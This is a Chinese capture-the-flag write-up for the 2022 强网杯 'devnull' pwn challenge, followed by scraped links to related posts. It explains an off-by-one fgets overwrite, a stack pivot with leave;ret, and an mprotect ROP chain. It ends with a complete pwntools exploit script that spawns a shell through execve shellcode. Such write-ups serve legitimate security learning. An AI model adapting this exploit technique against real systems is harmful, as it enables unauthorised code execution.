[2022 强网杯] devnull 复现
话说移栈这个事很少见了,因为大家都熟了。今天这个看似没难度,但突然发现机子上的libc-2.31比要求的libc-2.34小,然后这个程序就不能运行了。实际上这个题本身跟版本没以任何关系,感觉就是卡那些系统没有升级的人。比赛当中没什么人改去更新libc
完事以后把libc更新到2.35然后这个程序就能运行了。
int sub_40138F()
{char s[32]; // [rsp+0h] [rbp-40h] BYREFint fd; // [rsp+20h] [rbp-20h]int v3; // [rsp+24h] [rbp-1Ch] BYREFvoid *buf; // [rsp+38h] [rbp-8h]puts_0("/deb/null may cause some error\n");stream = fopen("/dev/null", "rb");fd = dword_404028; // 3if ( !stream ){puts_0("error\n");exit(1);}buf = malloc(dword_404010);puts_0("please input your filename\n");fgets(s, n, stdin); // n=21 写溢出,将fd改为0puts_0("Please write the data you want to discard\n");if ( read(fd, &v3, dword_404014) ) // 2c 14+buf+rbp+ret 修改buf指和bss,修改rbp指向buf+8,修改ret为leave ret移栈{sub_4012B6(); // bss设置成只读puts_0("please input your new data\n");if ( !read(fd, buf, dword_404010) ) // 0x60 向buf里写入ropexit(1);puts_0("Thanks\n"); // 输入7个字符,此时rdx=7return close(1); // 调用 write(2,got['write'],8) 泄漏,重入后}else{puts_0("no junk data?\n");puts_0("please input your new data\n");read(0, buf, dword_404010);return sub_4012E0(s, buf);}
}
程序很短,也很明了,一开始fgets(s,n,stdin); 其实s定义的是0x20,但这里n=0x21所以当输入一个长为0x20的串时会在最后加一个\0,这样就把后边的fd给覆盖掉了,原本程序是从随机数读的语句就变成从标准输入读
第二步是向v3读入,并且这里也有溢出,通过这个溢出可以将数据写到后边的buf,rbp,ret 长度刚刚好(再少4字节也能转),所以在这里覆盖buf改为要写入的位置,rbp覆盖为移栈的位置,ret覆盖为leave;ret实现移栈。
这里还有个问题,一般移栈会移到bss但这个题会把bss设置为只语。但却把程序加载起始位置设置为读写。那么移栈就只能移到这里了 0x3fe000
另外一个卡点是会文没有pop rdi;ret所有的rdi都是通过rax填充,那么就需要找个能填充rax的值,这里是这句
0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret
移栈以后rbp指向的内容都是咱自己写的,所以可以在这里构造出rdi的效果
- rbp->bss0+0x28
- mov rax,[rbp-0x18];leave;ret 再次移栈将读入bss0+0x28到rax中
- rdi要放入的值 bss0
- 0x10字节没用
- 第二次移栈的位置,rbp没用填0
- 第二次的ret的值,在这里执行_mprotect去掉rax的部分(前边已经放入),这里会执行mov rdi,rax将想要放入的值传到rdi然后执行mportect(放入的rdi,rsi=x1000, rdx=7)
- 这里执行了一次puts_0('Thinks\n')函数,在函数里把串长度赋给了rdx所以这里rdx为7正好执行
- 再下一个的rbp没用,后边ret是个指针跳到后边的shellcode
- 在这里写shellcode
完整的程序
from pwn import *p = process('./pwn')elf = ELF('./pwn')
context(arch='amd64', log_level= 'debug')#gdb.attach(p, "b*0x40150b")
#pause()p.sendafter(b"please input your filename\n", b'A'*0x20) # A\0 => fd = 0bss0 = 0x3fe000
leave_ret = 0x401511
pay = b'A'*0x14 + flat(bss0,bss0, leave_ret) #buf,rbp,ret
p.sendafter(b"Please write the data you want to discard\n", pay)rbp_18 = 0x0000000000401350 # mov rax, qword ptr [rbp - 0x18] ; leave ; ret
mprotect = 0x4012d0 #: mov esi,0x1000;mov rdi,rax;call _mprotect; ret
pay = flat(bss0+0x28, rbp_18, bss0,b'/bin/sh\x00',0, 0, mprotect, 0,bss0+0x48) + asm(shellcraft.execve(bss0+0x18,0,0))
p.sendafter(b"please input your new data\n", pay)sleep(1)
p.sendline(b"exec 1>&2")
p.interactive()
[2022 强网杯] devnull 复现相关推荐
- 【Reverse】2022 强网杯 game
[Reverse]2022 强网杯 game 前言 复现一下这题,因为手头有环境可以学学.强网的时候根本没看. backup还原 直接GitHub的链接 可以还原出apk 摸瓜分析 在线网站分析 发现 ...
- 2022强网杯 Quals Reverse 部分writeup
Game native层其实只有加解密的两个函数,所以没怎么逆,直接用frida hook 由于有root检测和frida检测,换个端口启动 ./frida-server-15.1.8-android ...
- 2022强网杯青年赛MISC1和MISC3,Crypto2 部分writeup
MISC1 下载附件,题目提示为万能和弦 图片不能正常打开 用010editor打开文件,发现是一大堆密文 去我常用的在线网站解密,这个网站可以自动转很多格式,很方便,在ascii码界面可以看到,是p ...
- 2022强网杯线上赛 qmachine
附件下载链接 逆向还原 分析可知程序的大致逻辑如下: #include <stdio.h> #include <stdlib.h> #include <string.h& ...
- [强网杯2021]XBUUCTF[QWB2021 Quals]popmaster复现记录
给自动化代码审计的大佬跪了. 出题人写的WP在这里:强网杯[pop_master]与[陀那多]赛题的出题记录 复现可以到BUUCTF,启动[QWB2021 Quals]popmaster这道题就ok. ...
- 强网杯2021 misc 复现
对强网杯BlueTeaming.ISO1995.CipherMan.Threebody的复现 (纯萌新学步) 可以参考mumuzi大佬的wp https://blog.csdn.net/qq_4288 ...
- 2020强网杯部分题目复现
本文目录 前言 强网先锋 Funhash 主动 upload web辅助 miscstudy 总结 前言 代码烂,游戏菜,天天等着大佬带.这次做出来三道题,无缘线下赛了,看来以后要找个大腿抱着才行(开 ...
- [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master
强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...
- 强网杯Web部分review
0x01 上个月强网杯结束,看了一下Web题目,代码审计及php 反序列化等.本着学习的态度,试着本地复现一下.靶机下载:https://github.com/glzjin/qwb_2019_uplo ...
最新文章
- 气温上升影响数据中心节能
- C++数据结构链表的基本操作
- HTML让文字在界面居中,HTML怎么让文字居中
- 【Java 新建项目】使用程序对新项目的各个实体 创建Dao、DaoImpl、Service、ServiceImpl层的文件...
- Bootstrap系列 -- 28. 下拉菜单状态
- SAP odata模型缓存校验机制
- [vue] 说说你对vue的mixin的理解,有什么应用场景?
- 在C++函数中使用__asm int 3和__debugbreak的调试
- select * from data where 姓名_SQL基础where
- java 整数相乘_Java中两个int相乘的结果是怎么算的?
- idea配置java和maven_Maven配置,使用IntelliJ IDEA和Maven创建Java Web项目
- python最速下降法
- compute和compute by
- 使用flex实现左中右布局,中间自适应
- 《东周列国志》第七十四回 囊瓦惧谤诛无极 要离贪名刺庆忌
- 做一篇美篇的计算机基础知识,怎么制作美篇-4个方法教你简单写出原创文章
- 小程序常用单位解释大全
- Win10便签在哪?Win10桌面便签怎么打开和使用?
- 4G PCIE网卡在英创ESM6800上的使用步骤
- 服务器运维用macos,MacOS和Linux区别_网站服务器运行维护,linux,macos
热门文章
- 【漏洞学习——SSRF】腾讯某处SSRF漏洞(非常好的利用点)附利用脚本
- 产品概念之2/4:三层次理论 —— 生产者主导视角的产品概念
- 树莓派声音输出设置_Raspberry Pi(树莓派)声音输出的设置
- Hook函数三步走(SetWindowsHookEx、UnhookWindowsHookEx、CallNextHookEx)
- 二进制及二进制的转换
- 教务系统自动评教_新版正方教务管理系统自动评教脚本
- mysql 简述pk uk fk 的区别和对数据库性能的影响_数据库pk fk ak
- 【程序员股民系列】如何用python, pandas, numpy, matplotlib绘制每日行业成交额图
- 学习编程应该最基本的是学习什么
- Android Native层